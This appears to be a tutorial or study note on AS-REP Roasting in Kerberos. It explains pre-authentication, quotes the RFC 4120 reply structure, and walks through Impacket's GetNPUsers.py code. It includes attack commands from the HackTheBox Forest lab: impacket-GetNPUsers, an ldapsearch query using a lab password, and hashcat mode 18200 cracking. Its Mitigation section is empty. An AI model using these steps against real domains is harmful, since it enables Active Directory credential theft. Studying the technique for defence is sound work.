AS-REP Roasting Attack

Pre-authentication

History

The original Kerberos 4 protocol was susceptible to an offline dictionary and brute-force attacks since the KDC happily provides a ticket encrypted with the principals’ secret key to any requestor.

Kerberos V5

Kerberos 5 introduces pre-authentication which requires that requestors prove their identity by demonstrating the knowledge of the user's credentials before the KDC will issue a ticket for a particular principal.

Implementation

There are several types of pre-authentication defined by the Kerberos.

However, only the encrypted timestamp (PA-ENC-TIMESTAMP) pre-authentication method is commonly implemented.

AS-REQ Review

Pre-authentication is controlled by KDC policy.

  1. If a client attempts to request initial tickets through the AS exchange, but the pre-authentication is enabled,

  2. then the KDC will send a KRB_ERROR message which tells the client that pre-authentication is required instead of an AS_REP.

  3. The client append the required pre-authentication data to its AS_REQ message this time.

  4. If the pre-authentication data is accepted, the KDC responds with an AS reply including the TGT ticket. Otherwise, the KDC will response another KRB_ERROR message that indicates pre-authentication failed.

Refer to the Kerberos authentication service.

ASREPRoasting Attack

The encrypted part in the KRB_AS_REP message is encrypted using the user password hash.

The predictable content in the encrypted data allows the offline attack to be conducted:

[RFC 4120] 5.4.2. KRB_KDC_REP Definition
   EncKDCRepPart   ::= SEQUENCE {
           key             [0] EncryptionKey,
           last-req        [1] LastReq,
           nonce           [2] UInt32,
           key-expiration  [3] KerberosTime OPTIONAL,
           flags           [4] TicketFlags,
           authtime        [5] KerberosTime,
           starttime       [6] KerberosTime OPTIONAL,
           endtime         [7] KerberosTime,
           renew-till      [8] KerberosTime OPTIONAL,
           srealm          [9] Realm,
           sname           [10] PrincipalName,
           caddr           [11] HostAddresses OPTIONAL
   }

Tools

We use the script GetNPUsers.py to conduct the attack, for example in the HackTheBox lab machine Forest, we use this script to get the TGT ticket for the user svc-alfresco:

$ impacket-GetNPUsers htb.local/svc-alfresco -no-pass -format hashcat

After parsing the arguments, the script initializes the class GetUserNoPreAuth with domain account credentials:

    try:
        executer = GetUserNoPreAuth(username, password, domain, options)
        executer.run()

If a file of user names is provided, the class call its method reques_users_file_TGTs to get the TGT ticket for each account name if the pre-authentication is disabled.

    def run(self):
        if self.__usersFile:
            self.request_users_file_TGTs()
            return

If doKerberos is set or no_pass is false, the script will do the LDAP search to find domain accounts with property Do not require Kerberos preauthentication setUF_DONT_REQUIRE_PREAUTH:

        # Connect to LDAP
        try:
            ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
...
        # Building the search filter
        searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
                       (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)

        try:
            logging.debug('Search Filter=%s' % searchFilter)
            resp = ldapConnection.search(searchFilter=searchFilter,
                                         attributes=['sAMAccountName',
                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
                                         sizeLimit=999)

Also, we can use this filter with the command ldapsearch to get the same results:

$ ldapsearch -H ldap://forest -x -b 'dc=htb,dc=local' -D svc-alfresco@htb.local -w s3rvice '(&(UserAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))'

AS-REQ Request

Either way, the class will call its method getTGT to try to get the TGT ticket for an account.

First, the method prepare the AS_REQ message:

    def getTGT(self, userName, requestPAC=True):
...
        asReq = AS_REQ()
...
        # from pyasn1.codec.der import decoder, encoder
        message = encoder.encode(asReq)

Then it sends the AS_REQ, receives, and parses the `AS_REP` response:

        try:
            r = sendReceive(message, domain, self.__kdcIP)
...
        # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
        # 'Do not require Kerberos preauthentication' set
        try:
            asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]

Encrypted Part

Finally, the script outputs the encrypted part in the KRB_AS_REP message:

        if self.__outputFormat == 'john':
            # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
            return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
                                               hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
                                               hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
        else:
            # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
            return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())

Password Crack

We can crack the hash to get the domain user password with hashcat.

$ hashcat -f -m 18200 <hash> <wordlist>

Mitigation

Last updated